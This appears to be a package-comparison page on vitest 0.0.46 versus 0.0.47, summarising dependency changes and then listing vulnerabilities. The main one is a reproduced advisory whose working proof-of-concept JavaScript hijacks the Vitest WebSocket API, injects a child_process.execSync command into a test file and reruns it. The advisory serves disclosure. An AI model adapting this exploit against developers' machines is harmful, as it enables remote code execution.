Vitest experienced a minor version bump from 0.0.46 to 0.0.47, indicating a patch release likely containing bug fixes and small enhancements. While both versions share the same core description as a blazing-fast unit test framework powered by Vite, several key differences highlight the updates.
In the dependencies, vitest@0.0.47 introduces figures and log-update, and cli-truncate and elegant-spinner, suggesting improvements in the test runner's reporting and user interface, providing visually clearer and more informative feedback during test execution. At the same time the dependency for listr was removed from version 0.0.47. Version 0.0.47 includes an update to @antfu/utils from "^0.3.0" (older) to "^0.7.3". It also has an update to @types/chai from "^4.2.22" (older) to "^4.3.0".
For developers, these changes mean a potentially more streamlined and user-friendly testing experience. The updated dependencies might contribute to better console output, clearer error messages, and overall improved test execution visibility. The update removes dependencies and potentially simplifies the project structure. Dependency updates potentially bring performance improvements, security patches, and access to new features from those individual libraries.
The file count and unpacked size in the dist object of the package suggests the updated version,vitest@0.0.47, has more size because it includes new features. Developers should consider these subtle differences when upgrading, weighing the benefits of enhanced UI and potential bug fixes against any potential compatibility issues introduced by the dependency updates.
All the vulnerabilities related to the version 0.0.47 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api
option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile
API that can edit a test file and rerun
API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile
API and then running that file by calling the rerun
API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc
executable in PATH
env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.
happy-dom allows for server side code to be executed by a <script> tag
Consumers of the NPM package happy-dom
The security vulnerability has been patched in v15.10.2
No easy workarounds to my knowledge
antfu/utils vulnerable to prototype pollution
Prototype Pollution in GitHub repository antfu/utils prior to 0.7.3.